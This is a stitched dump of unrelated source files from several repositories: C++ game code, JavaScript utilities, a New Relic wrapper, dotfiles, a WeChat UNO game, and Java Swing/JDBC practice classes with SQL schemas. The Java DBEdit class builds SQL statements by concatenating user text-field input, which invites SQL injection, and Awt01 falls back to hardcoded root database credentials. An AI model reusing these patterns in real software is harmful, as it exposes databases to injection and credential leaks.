BoxR*24.0f, Box2X, Box2Y, Box2R*24.0f) ; if(bCol) { collision.InelasticCollision(pBox, pBox2) ; g_ParticleManager->CreateParticle(pBox->GetPositionX(), pBox->GetPositionY(), 0) ; g_MusicManager->PlayMusic(m_pCrash, 1) ; } } } } } void CBoxManager::CreateBox() { static float t=0.0f ; t += g_D3dDevice->GetTime() ; if(t>=0.5f) { const int num = (int)(t/1.0f) ; t -= num * 1.0f ; if(m_BoxList.size()<50) { for(int i=0; i<num; i++) CreateRandomBox() ; } } } void CBoxManager::DeleteBox() { int num=m_BoxList.size() ; float PlayerX = g_Player->GetPositionX() ; float PlayerY = g_Player->GetPositionY() ; for(int i=0; i<num; i++) { CBox *pBox = m_BoxList[i] ; float x = PlayerX - pBox->GetPositionX() ; float y = PlayerY - pBox->GetPositionY() ; float distance = sqrt((x*x) + (y*y)) ; if(distance>3000.0f) { m_BoxList.erase(m_BoxList.begin() + i) ; delete pBox ; --i ; --num ; } } } void CBoxManager::CreateRandomBox() { int length = rand()%10 ; int angle = rand()%36 ; float x = g_Player->GetPositionX() + (100.0f * length + 664.0f) * cos((angle*10.0f) * D3DX_PI / 180.0f) ; float y = g_Player->GetPositionY() + (100.0f * length + 664.0f) * sin((angle*10.0f) * D3DX_PI / 180.0f) ; CBox *pBox = new CBox ; pBox->Init() ; pBox->SetPosition(x, y) ; pBox->InitAfterImagePosition() ; // 크기 설정 float Scale = 1.0f - (0.2f * (rand()%4-1)) ; Scale *= g_Player->GetScale() ; pBox->SetScale(Scale) ; // 회전속도 설정 float Spin = 1.0f - (0.125f * (rand()%5)) ; float p = 1.0f - (2.0f * (rand()%2)) ; Spin *= Scale * 15.0f * p ; pBox->SetFixedSpinSpeed(Spin) ; // 리스트에 등록 m_BoxList.push_back(pBox) ; }<file_sep>#pragma once #include "Particle.h" class CParticle_Debris : public CParticle { public : CParticle_Debris() ; ~CParticle_Debris() ; void Init() ; } ;<file_sep>#include "Particle_Debris.h" #include "Sprite.h" CParticle_Debris::CParticle_Debris() { m_bTime = true ; m_fTime = 1.0f ; } CParticle_Debris::~CParticle_Debris() { } void CParticle_Debris::Init() { m_pSprite = new CSprite ; m_pSprite->Init("Resource/Image/Debris.png") ; m_vecSpeed.x = -1.0f * (rand()%13-6) ; m_vecSpeed.y = 2.0f * (rand()%5) ; m_vecAcc.x = m_vecSpeed.x * -0.01f ; m_vecAcc.y = -0.15f ; }
527bc9bfdfc43c134c90d2d8a57ea61b91c012ae
[ "Markdown", "C", "C++" ]
28
C++
Nickchooshin/HUGP1_1week
f200c0f1a5c40a2d94b030fcae951527792f1ab2
0fe09a03d77f8a51269075f48651846f7261e32a
refs/heads/master
<repo_name>vanillaicecoffee/books<file_sep>/ddmsencode.js if(process.argv.length == 2){ return console.log('no file found'); } var path = require('path'); var md5 = require('md5'); var fs = require('fs'); var file = process.argv.pop(); var file_data = fs.readFileSync(file, {encoding:"base64"}); var hash = md5(file_data); var dir = hash; fs.mkdirSync(dir); var split_size = 1024 * 20; var chunks = file_data.match(new RegExp('.{1,'+split_size+'}', 'g')); var suffix = ".txt"; chunks.forEach(function(c, i){ fs.writeFileSync( dir + "/" +(i+1)+suffix, c); }) var f = { name:file, piece:hash, bytes:file_data.length, chunks:chunks.length } var index = fs.readFileSync("./index.json", {encoding:"utf-8"}); index = JSON.parse(index); index[hash] = f; fs.writeFileSync(dir + "/info.json", JSON.stringify(f)); fs.writeFileSync("index.json", JSON.stringify(index));
3532f225148f156fd9e0eeaf216f0ecc65ed6f9e
[ "JavaScript" ]
1
JavaScript
vanillaicecoffee/books
eefea961563b9b1082d82330b243476a003afec5
a4886cefef845f9b5f10097522a7801208072a27
refs/heads/master
<file_sep>/* globals ErrorUtils, __DEV__ */ import { NativeModules } from 'react-native'; import * as _ from 'lodash'; const RNNewRelic = NativeModules.RNNewRelic; class NewRelic { init(config) { if (config.overrideConsole) { this._overrideConsole(); } if (config.reportUncaughtExceptions) { this._reportUncaughtExceptions(); } if (config.reportRejectedPromises) { this._reportRejectedPromises(); } if (config.globalAttributes) { this.setGlobalAttributes(config.globalAttributes); } } _overrideConsole() { const defaultLog = console.log; const defaultWarn = console.warn; const defaultError = console.error; const self = this; console.log = function() { self.sendConsole('log', arguments); defaultLog.apply(console, arguments); }; console.warn = function() { self.sendConsole('warn', arguments); defaultWarn.apply(console, arguments); }; console.error = function() { self.sendConsole('error', arguments); defaultError.apply(console, arguments); }; } _reportUncaughtExceptions(errorUtils = global.ErrorUtils) { const defaultHandler = errorUtils._globalHandler; errorUtils._globalHandler = error => { this.send('JS:UncaughtException', { error, stack: error && error.stack }); defaultHandler(error); }; } _reportRejectedPromises() { const rejectionTracking = require('promise/setimmediate/rejection-tracking'); if (!__DEV__) { rejectionTracking.enable({ allRejections: true, onUnhandled: (id, error) => { this.send('JS:UnhandledRejectedPromise', { error }); this.nativeLog('[UnhandledRejectedPromise] ' + error); }, onHandled: () => { // } }); } } /** * registers global attributes that will be sent with every event * @param args */ setGlobalAttributes(args) { _.forEach(args, (value, key) => { RNNewRelic.setAttribute(String(key), String(value)); }); } /** * remove attribute * @param {string} attributeName */ removeAttribute(attributeName) { RNNewRelic.removeAttribute(String(attributeName)); } sendConsole(type, args) { const argsStr = _.map(args, String).join(', '); this.send('JSConsole', { consoleType: type, args: argsStr }); if (type === 'error') { this.nativeLog('[JSConsole:Error] ' + argsStr); } } report(eventName, args) { this.send(eventName, args); } /* logs a message to the native console (useful when running in release mode) */ nativeLog(log) { RNNewRelic.nativeLog(log); } /** * Send custom events to NewRelic * @param {string} eventType The type of event. Do not use eventType to name your custom events. * @param {string} eventName Use this parameter to name the event. * @param {object} args A json object that includes a list of optional attributes related to the event */ recordCustomEventWithName(eventType, eventName, args) { const eventTypeStr = String(eventType); const eventNameStr = String(eventName); const argsIsObject = typeof args === 'object'; const argsStr = argsIsObject ? Object.keys(args).reduce((argsObject, key) => { const value = args[key]; argsObject[String(key)] = String(value); return argsObject; }, {}) : {}; RNNewRelic.recordCustomEventWithName(eventTypeStr, eventNameStr, argsStr); } /** * Send custom events to NewRelic * @param {string} eventType The type of event. Do not use eventType to name your custom events. * @param {object} args A json object that includes a list of optional attributes related to the event */ recordCustomEvent(eventType, args) { const eventTypeStr = String(eventType); const argsIsObject = typeof args === 'object'; const argsStr = argsIsObject ? Object.keys(args).reduce((argsObject, key) => { const value = args[key]; argsObject[String(key)] = String(value); return argsObject; }, {}) : {}; RNNewRelic.recordCustomEvent(eventTypeStr, argsStr); } /** * Set a custom user identifier value to associate user sessions with analytics events and attributes. * @param {string} id */ setUserId(id){ if(id && typeof(id) === 'string' && id.trim().length>0){ RNNewRelic.setUserId(id); } } } export default new NewRelic();
9485a48852546284600ed1b0c78607ac7522af8d
[ "JavaScript" ]
1
JavaScript
jdoyle65/react-native-newrelic
924094241197aeb6a9d8bef4863e3e62b5fe1a32
8147a9d182e52925ae761215eb2fd0d41053b26e
refs/heads/master
<file_sep>country= input("where is your country: ") age = input("how old r you: ") age = int(age) if country == "Taiwan": if age >= 18 : print("You can apply for a driver license") else : print("You still can not get a driver license ") elif country == "America": if age >= 16 : print("You can apply for a driver license") else : print("You still can not get a driver license ") else : print("you could only enter Taiwan/America")
f301435875adb19eaa7f5026c12951d2f40eec09
[ "Python" ]
1
Python
NEL1know/driving
cda0ee5b21e1f2d537b540c2898aa53cee777e6d
3c4c7f2b181a7bd08ecdf5716d865af87beb7f9c
refs/heads/master
<file_sep>// npx webpack --config webpack.config.js // 通过向 npm run build 命令和你的参数之间添加两个中横线,可以将自定义参数传递给 webpack,例如:npm run build -- --colors。 const path = require('path'); const UglifyJSPlugin = require('uglifyjs-webpack-plugin') module.exports = { entry: './src/index.js', output: { path: path.resolve(__dirname, 'dist'), filename: 'index.js', library: 'HtmlStrReplace', // 暴露library libraryTarget: 'umd' //libraryTarget 控制 library 如何以不同方式暴露的选项(var this window umd)。 }, plugins: [ // tree shaking new UglifyJSPlugin() ] } <file_sep># res-cash for xhr web cache ### res-cash install ```bash npm install cache-for-res --save ``` ### res-cash for ES6 ```js import ResCache from 'cache-for-res' const cacheList = new ResCache() console.log(cacheList) ``` ### update: ```js npm login // 用户名:hansin // 密码:**** // 邮箱:<EMAIL> npm version patch npm publish ``` <file_sep>// 调用 /* ** @params ** path: 请求的路径 ** preload: 请求的参数 ** cachetype: 'no'[本次请求不走缓存过滤] ‘str’[同一个路径缓存一条] ‘arr’[同一个路径缓存多条] */ // cacheAgain.setAgainAgent('/index', {page: 1}, {data:{code: 0}}, 'arr') // cacheAgain.getAgainAgent('/index', {page: 1}, 'arr') // if (cacheAgain.resPromise) { // return cacheAgain.resPromise // } else { // return axois.get() // } export default class againCache { constructor () { this.author = 'Hansin' this.cacheList = [] } getCache (path, preload) { if (typeof preload === 'object') { preload = JSON.stringify(preload) } let list = [],res this.cacheList.forEach((item) => { if (item.path === path) { list = item.cache } }) list.forEach((n) => { if (n.pre === preload && n.res) { res = JSON.parse(n.res) } }) return res } setCache (path, preload, res) { let havePath = false if (typeof preload === 'object') { preload = JSON.stringify(preload) } this.cacheList.forEach((item, i) => { if (item.path === path) { havePath = true let haveRes = false item.cache.forEach((li, j) => { if (li.pre === preload) { haveRes = true this.cacheList[i].cache[j].res = JSON.stringify(res) } }) if (!haveRes) { this.cacheList[i].cache.push({ pre: preload, res: JSON.stringify(res) }) } } }) if (!havePath) { this.cacheList.push({ path: path, cache: [{ pre: preload, res: JSON.stringify(res) }] }) } } }
7132882afdcac462b9e462478ce040d2beeb13fb
[ "JavaScript", "Markdown" ]
3
JavaScript
hansinhu/npm-Res-cache
8e53b6cfcdf435915fe2655e93f33a779197bda0
167ce10a1a099c3ce58e75356ed74639de2b4016
refs/heads/master
<file_sep>//index.js //获取应用实例 const app = getApp() Page({ data:{ gameOfWin:0, currentPileValue: -1, computerArray:[], userArray:[], pileArray:[] }, onLoad:function() { this.initial(); }, initial:function() { let template = []; for (var i = 0; i < 2; i++) { for (var j = 0; j < 30; j++) { template.push(i * 100 + j); } } template.sort(function () { return 0.5 - Math.random(); }); let temUser = template.slice(0, 7); let temComputer = template.slice(7, 14); let temCurrent = template.slice(14, 15); for (var j = 0; j < 15; j++) { template.shift(); } this.setData({ currentPileValue: temCurrent, pileArray: template, userArray: temUser, computerArray: temComputer, }); }, cardClicking:function(e) { if (Math.floor(e.currentTarget.dataset.name % 100 / 10) === Math.floor(this.data.currentPileValue % 100 / 10) || e.currentTarget.dataset.name % 10 === this.data.currentPileValue % 10) { var newUserArray = this.removeCard(e.currentTarget.dataset.name, this.data.userArray); this.setData({ userArray: newUserArray, }); if (this.data.userArray.length === 0 ) { this.setData({ gameOfWin: this.data.gameOfWin + 1, }); var self = this; wx.showModal({ title: '恭喜', content: '您获得了当前游戏的胜利', success: function (res) { if (res.confirm) { self.initial(); } else { self.initial(); } } }); } else { this.computerTurn(); } } else { wx.showModal({ title: '提示', content: '请选择相同数字或颜色的卡牌', success: function (res) { if (res.confirm) { console.log('用户点击确定') } else { console.log('用户点击取消') } } }); } }, removeCard:function(currentCard, userArray) { var index = userArray.indexOf(currentCard); var newUserArraray = userArray; if (index !== -1) { newUserArraray.splice(index, 1); } this.setData({ currentPileValue: currentCard, }); return newUserArraray; }, addToUser:function() { var temUser = this.newCard(this.data.userArray); this.setData({ userArray: temUser, }); this.computerTurn(); }, newCard:function(temArray) { if (this.data.pileArray.length > 0) { temArray.push(this.data.pileArray[0]); var temTotal = this.data.pileArray; temTotal.shift(); this.setData({ pileArray: temTotal, }); return temArray; } else { wx.showModal({ title: '牌库空了', content: '牌库已经没牌了', success: function (res) { if (res.confirm) { console.log('用户点击确定') } else { console.log('用户点击取消') } } }); } }, computerTurn:function() { var availableCard = false; var cardAvailable = -1; for( var card of this.data.computerArray) { if (card % 10 === this.data.currentPileValue || Math.floor(card % 100 / 10) === Math.floor(this.data.currentPileValue % 100 / 10)) { cardAvailable = card; break; } } if( cardAvailable != -1) { var newComputerArray = this.removeCard(cardAvailable, this.data.computerArray); this.setData({ computerArray: newComputerArray, }); var self = this; if (this.data.computerArray.length === 0) { wx.showModal({ title: '抱歉', content: '电脑获得了当前游戏的胜利', success: function (res) { if (res.confirm) { self.initial(); } else { self.initial(); } } }); } } else if (this.data.pileArray.length > 0) { var temComputer = this.newCard(this.data.computerArray); this.setData({ computerArray: temComputer, }); } } })
246a2ab3f921de4cb0f9b0890d4a4ba8d37aa4f6
[ "JavaScript" ]
1
JavaScript
stardaemon/MiniProgram_SimpleUNO
a909ca34638cad7432463cc943863618332659f2
3b574bea22f3c0e9f752fb2ddf7723f91cce3601
refs/heads/master
<repo_name>dobrosavljevic/.dotfiles<file_sep>/README.md # Installation ``` cd ~ git clone https://github.com/dobrosavljevic/.dotfiles.git cd .dotfiles then run install.sh <file_sep>/.bash_aliases alias gti='git' alias tmux='tmux -2' alias less='less -R' alias diff='colordiff' alias dc='cd' #SSH connection definitions alias icarus='ssh icarus.grandconsulting.com' alias ansible='ssh ansible.grandconsulting.com'
692337a622e296df098eef16ab9763d4873d234e
[ "Markdown", "Shell" ]
2
Markdown
dobrosavljevic/.dotfiles
2a8cee4aa71ec99f7d99ec3b5a1a9f66c8134ab6
1bd995a24f25a4f58b3dbe81ffd411a77a80de18
refs/heads/master
<repo_name>f5074/java<file_sep>/src/main/java/practice/awt/Awt01.java package practice.awt; import java.awt.Button; import java.awt.Frame; import java.awt.GridLayout; import java.awt.Label; import java.awt.Panel; import java.awt.TextField; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.io.FileInputStream; import java.sql.Connection; import java.sql.DriverManager; import java.sql.PreparedStatement; import java.util.Properties; import javax.swing.JOptionPane; public class Awt01 { private static String url; private static String id; private static String password; public static void main(String[] args) { // 1. Github에 올릴 경우 자신의 계정정보가 노출되지 않도록 항상 주의 // 2. 아이디와 비밀번호 파일을 따로 만들어서 관리하기 위해 사용 try { // 프로퍼티 객체 생성 Properties properties = new Properties(); // 파일 읽기 properties.load(new FileInputStream("C:\\DEV\\server.ini")); // 프로퍼티 값 읽기 url = properties.getProperty("url"); id = properties.getProperty("id"); password = properties.getProperty("password"); } catch (Exception exception) { System.err.println(exception); // 파일이 없을 경우나 예외 발생 시 url, id, password 기본 값 url = "jdbc:mysql://127.0.0.1:3306/university?characterEncoding=UTF-8&serverTimezone=UTC"; id = "root"; password = "<PASSWORD>"; } Frame frame = new Frame(); Label label1 = new Label("No:"); Label label2 = new Label("Grade:"); Label label3 = new Label("Subject:"); Label label4 = new Label("Professor:"); Label label5 = new Label("year:"); Label label6 = new Label("semester:"); Label label7 = new Label("count:"); final TextField text1 = new TextField(20); final TextField text2 = new TextField(20); final TextField text3 = new TextField(20); final TextField text4 = new TextField(20); final TextField text5 = new TextField(20); final TextField text6 = new TextField(20); final TextField text7 = new TextField(20); Button button = new Button("Insert"); button.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { try { Class.forName("com.mysql.cj.jdbc.Driver"); Connection connect = DriverManager.getConnection(url, id, password); String sql = "INSERT INTO problemm(no,grade,subject,professor,year,semester,count) VALUES (?,?,?,?,?,?,?)"; PreparedStatement pstmt = connect.prepareStatement(sql); pstmt.setString(1, text1.getText()); pstmt.setString(2, text2.getText()); pstmt.setString(3, text3.getText()); pstmt.setString(4, text4.getText()); pstmt.setString(5, text5.getText()); pstmt.setString(6, text6.getText()); pstmt.setString(7, text7.getText()); int result = pstmt.executeUpdate(); if (result == 1) { System.out.println("성공"); JOptionPane.showMessageDialog(null, "성공"); } else { System.out.println("실패"); JOptionPane.showMessageDialog(null, "실패"); } } catch (Exception exception) { System.err.println(exception); } } }); Panel panel = new Panel(new GridLayout(8, 2)); panel.add(label1); panel.add(text1); panel.add(label2); panel.add(text2); panel.add(label3); panel.add(text3); panel.add(label4); panel.add(text4); panel.add(label5); panel.add(text5); panel.add(label6); panel.add(text6); panel.add(label7); panel.add(text7); panel.add(button); frame.add(panel); frame.setVisible(true); frame.pack(); } } <file_sep>/src/main/java/practice/jdbc/DBConnect.java package practice.jdbc; import java.sql.Connection; import java.sql.DriverManager; import java.sql.Statement; import practice.classes.PropertiesClass; public class DBConnect { private Connection con; private Statement stmt; public DBConnect() { try { PropertiesClass propertiesClass = new PropertiesClass(); Class.forName("com.mysql.cj.jdbc.Driver"); con = DriverManager.getConnection(propertiesClass.url, propertiesClass.id, propertiesClass.password); System.out.println("Connection established"); stmt = con.createStatement(); } catch (Exception exception) { System.err.println(exception); } } public Statement getStatement() { return stmt; } } <file_sep>/src/main/java/practice/io/Scanner01.java package practice.io; import java.io.File; import java.io.FileNotFoundException; import java.util.Scanner; public class Scanner01 { public static void main(String[] args) { try { // 프로젝트 현재 경로 찾기 String projectPath = System.getProperty("user.dir"); // 파일 객체 생성 File file = new File(projectPath + "\\src\\main\\resources\\check.txt"); // 스캐너 생성 Scanner scanner = new Scanner(file); // 스캐너의 다음 줄이 없을 때 까지 출력 while (scanner.hasNextLine()) { // 스캐너 한줄 출력 System.out.println(scanner.nextLine()); } } catch (Exception exception) { System.out.println(exception); } } } <file_sep>/src/main/java/practice/awt/table/AwtTable.java package practice.awt.table; import java.awt.BorderLayout; import java.awt.Container; import java.awt.Dimension; import javax.swing.JButton; import javax.swing.JFrame; import javax.swing.JLabel; import javax.swing.JPanel; import javax.swing.JScrollPane; import javax.swing.JTable; import javax.swing.JTextField; import javax.swing.table.DefaultTableModel; public class AwtTable { public static void main(String[] args) { JFrame frame = new JFrame("참가자 명단"); frame.setPreferredSize(new Dimension(500, 300)); frame.setLocation(500, 400); Container contentPane = frame.getContentPane(); String colNames[] = { "이름", "나이", "성별" }; // Data가 없는 Default Table을 만든다. column는 있기 때문에 아래와 같이 생성. DefaultTableModel model = new DefaultTableModel(colNames, 0); // spring table 생성 JTable table = new JTable(model); // scrollpanel을 추가 JScrollPane scrollpane = new JScrollPane(table); // table을 frame에 추가 contentPane.add(scrollpane, BorderLayout.CENTER); JPanel panel = new JPanel(); JTextField tfName = new JTextField(6); JTextField tfAge = new JTextField(3); JTextField tfSex = new JTextField(2); JButton btAdd = new JButton("Add"); JButton btDel = new JButton("Del"); // 이벤트를 처리할 class 객체를 생성한다. AddButton adaction = new AddButton(table, tfName, tfAge, tfSex); DeleteButton rmaction = new DeleteButton(table); // 이벤트 처리 객체를 연결한다. btAdd.addActionListener(adaction); btDel.addActionListener(rmaction); panel.add(new JLabel(colNames[0])); panel.add(tfName); panel.add(new JLabel(colNames[1])); panel.add(tfAge); panel.add(new JLabel(colNames[2])); panel.add(tfSex); panel.add(btAdd); panel.add(btDel); // table을 frame에 추가 contentPane.add(panel, BorderLayout.SOUTH); // 프로그램 종료 frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); // frame이 화면에 딱 맞도록 처리 frame.pack(); // 화면에 표시 frame.setVisible(true); } } <file_sep>/src/main/java/practice/jdbc/DBEdit.java package practice.jdbc; import java.awt.*; import java.awt.event.*; import javax.swing.*; import java.sql.*; public class DBEdit extends JFrame { private ResultSet rs = null; private Statement stmt = null; private JButton[] btn = new JButton[5]; private JLabel[] label = new JLabel[8]; private JTextField[] text = new JTextField[8]; private JTable table; private JScrollPane jp = new JScrollPane(); private JPanel p[] = new JPanel[4]; private JPanel p2 = new JPanel(); private String[][] data = new String[100][8]; private String[] col = { "empno ", "ename ", "job ", "mgr ", "hiredate", "sal ", "comm ", "deptno " }; private String[] string = { "", "", "", "", "", "", "", "" }; public DBEdit() { super("DBEdit"); ///////////// // DB에 연결 DBConnect connect = new DBConnect(); stmt = connect.getStatement(); JPanel p1 = new JPanel(); p1.setLayout(new GridLayout(5, 1)); JPanel p3 = new JPanel(); btn[0] = new JButton("선택"); btn[1] = new JButton("출력"); btn[2] = new JButton("입력"); btn[3] = new JButton("수정"); btn[4] = new JButton("삭제"); for (int i = 0; i < 5; i++) { btn[i].addActionListener(action); p3.add(btn[i]); } for (int i = 0; i < 8; i++) { label[i] = new JLabel(col[i]); } for (int i = 0; i < 8; i++) { text[i] = new JTextField(15); } for (int i = 0; i < 4; i++) { p[i] = new JPanel(); } int j = -1; for (int i = 0; i < 8; i++) { if (i % 2 == 0) { j++; } p[j].add(label[i]); p[j].add(text[i]); } p1.add(p3); p1.add(p[0]); p1.add(p[1]); p1.add(p[2]); p1.add(p[3]); table = new JTable(data, col); jp = new JScrollPane(table); jp.addMouseListener(new MouseAdapter() { }); Container cp = this.getContentPane(); cp.setLayout(new GridLayout(2, 1)); cp.add(p1); cp.add(jp); setDefaultCloseOperation(DISPOSE_ON_CLOSE); setBounds(100, 100, 500, 500); setVisible(true); showTable(); } public void showTable() { table.removeAll(); try { for (int i = 0; i < 100; i++) { for (int j = 0; j < 8; j++) { data[i][j] = ""; } } rs = stmt.executeQuery("select * from university.emp"); int i = 0; while (rs.next()) { data[i][0] = rs.getString(1); data[i][1] = rs.getString(2); data[i][2] = rs.getString(3); data[i][3] = rs.getString(4); data[i][4] = rs.getString(5); data[i][5] = rs.getString(6); data[i][6] = rs.getString(7); data[i++][7] = rs.getString(8); } table.repaint(); } catch (Exception e) { System.err.println("보여 주기 에러"); } } ActionBtn action = new ActionBtn(); class ActionBtn extends Exception implements ActionListener { public void actionPerformed(ActionEvent e) { if (e.getActionCommand().equals("출력")) { showTable(); } else if (e.getActionCommand().equals("선택")) { int row = table.getSelectedRow(); ///////////////////// // 텍스트 필드에 받아온 데이터 보여주기 for (int i = 0; i < 8; i++) { text[i].setText(data[row][i]); } } else if (e.getActionCommand().equals("입력")) { try { for (int i = 0; i < 8; i++) { if (text[i].getText().equals("")) { } else { string[i] = text[i].getText(); } } stmt.executeUpdate("insert into university.emp(empno,ename,job,mgr,hiredate,sal,comm,deptno) values('" + string[0] + "','" + string[1] + "' ,'" + string[2]+ "','" + string[3] + "','" + string[4] + "','" + string[5] + "','" + string[6] + "','" + string[7] + "')"); // stmt.executeQuery("commit"); } catch (Exception exception) { System.err.println(exception.getMessage()); } //////////////////// // 화면에 출력하기 showTable(); for (int i = 0; i < 8; i++) { text[i].setText(""); } } else if (e.getActionCommand().equals("수정")) { try { stmt.executeQuery( "update emp set" + " empno = " + text[0].getText() + " ,ename='" + text[1].getText() + "',job='" + text[2].getText() + "',mgr=" + text[3].getText() + ",hiredate='" + text[4].getText() + "',sal=" + text[5].getText() + ",comm=" + text[6].getText() + ",deptno =" + text[7].getText() + "where empno = " + text[0].getText()); stmt.executeQuery("commit"); } catch (Exception ex) { System.err.println("수정 에러"); } //////////////////// // 화면에 출력하기 showTable(); for (int i = 0; i < 8; i++) { text[i].setText(""); } } else if (e.getActionCommand().equals("삭제")) { try { System.out.println(text[0].getText()); stmt.executeQuery("delete from emp where" + " empno = " + text[0].getText()); stmt.executeQuery("commit"); } catch (Exception ex) { System.err.println("삭제 에러"); } //////////////////// // 화면에 출력하기 showTable(); for (int i = 0; i < 8; i++) { text[i].setText(""); } } } } public static void main(String[] args) { DBEdit db = new DBEdit(); } }<file_sep>/src/main/java/practice/classes/Class01.java package practice.classes; public class Class01 { public Class01() { System.out.println("1번으로 클래스 생성"); } public Class01(String x) { System.out.println("2번으로 클래스 생성"); System.out.println(x); } void print() { System.out.println("print"); } } <file_sep>/src/main/java/practice/awt/table02/TableEx.java package practice.awt.table02; import java.awt.Frame; import java.awt.event.WindowAdapter; import java.awt.event.WindowEvent; import javax.swing.JTable; public class TableEx { public static void main(String[] args) { Frame f = new Frame(); String[] columnType = { "번호", "이름", "나이", "성별"}; Object[][] data = { {"1", "김철수", "20", "남성"}, {"2", "김옥자", "43", "여성"}, {"3", "이순신", "100", "남성"}, {"4", "유관순", "18", "여성"}, {"5", "이 도", "54", "남성"} }; JTable table = new JTable(data, columnType); // 종료 이벤트 f.addWindowListener(new WindowAdapter(){ public void windowClosing(WindowEvent we){ System.exit(0); } }); f.add(table); f.setVisible(true); f.pack(); } } <file_sep>/src/main/java/practice/awt/table/AddButton.java package practice.awt.table; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import javax.swing.JTable; import javax.swing.JTextField; import javax.swing.table.DefaultTableModel; public class AddButton implements ActionListener { JTable table; JTextField tfName; JTextField tfAge; JTextField tfSex; // 생성자에게 table과 기타 정보를 넘겨준다. public AddButton(JTable table, JTextField tfName, JTextField tfAge, JTextField tfSex) { this.table = table; this.tfName = tfName; this.tfAge = tfAge; this.tfSex = tfSex; } public void actionPerformed(ActionEvent e) { String str[] = new String[3]; str[0] = tfName.getText(); str[1] = tfAge.getText(); str[2] = tfSex.getText(); // 생성자로부터 받은 table 객체의 타입을 변경한다. DefaultTableModel model = (DefaultTableModel) table.getModel(); // table에 object를 추가한다. model.addRow(str); } }<file_sep>/src/main/resources/University.emp.sql -- 문제M CREATE TABLE `problemm` ( `no` VARCHAR(50) NOT NULL COMMENT '일련번호', -- 일련번호 `grade` VARCHAR(50) NULL COMMENT '학년', -- 학년 `subject` VARCHAR(50) NULL COMMENT '과목명', -- 과목명 `professor` VARCHAR(50) NULL COMMENT '출제자명', -- 출제자명 `year` VARCHAR(50) NULL COMMENT '년도', -- 년도 `semester` VARCHAR(50) NULL COMMENT '학기', -- 학기 `count` VARCHAR(50) NULL COMMENT '문항수' -- 문항수 ) COMMENT '문제M'; -- 문제M ALTER TABLE `problemm` ADD CONSTRAINT `PK_problemm` -- 문제M 기본키 PRIMARY KEY ( `no` -- 일련번호 ); -- 문제D CREATE TABLE `problemd` ( `no` VARCHAR(50) NOT NULL COMMENT '일련번호', -- 일련번호 `number` VARCHAR(50) NULL COMMENT '문제번호', -- 문제번호 `contents` VARCHAR(50) NULL COMMENT '문제내용', -- 문제내용 `exno` VARCHAR(50) NULL COMMENT '보기번호', -- 보기번호 `excontents` VARCHAR(50) NULL COMMENT '보기내용' -- 보기내용 ) COMMENT '문제D'; -- 문제D ALTER TABLE `problemd` ADD CONSTRAINT `PK_problemd` -- 문제D 기본키 PRIMARY KEY ( `no` -- 일련번호 ); -- 문제D ALTER TABLE `problemd` ADD CONSTRAINT `FK_problemm_TO_problemd` -- 문제M -> 문제D FOREIGN KEY ( `no` -- 일련번호 ) REFERENCES `problemm` ( -- 문제M `no` -- 일련번호 );<file_sep>/src/main/resources/server.ini url=127.0.0.1 id=root password=<PASSWORD>
4a7ef495e44a1119ffc5d1b9f29124807ed6d76c
[ "Java", "SQL", "INI" ]
10
Java
f5074/java
5ea8676e5adb092ac606edfa1804c1fb23b5baeb
376658f352d4e762fb109cd857d246f1e43b0b81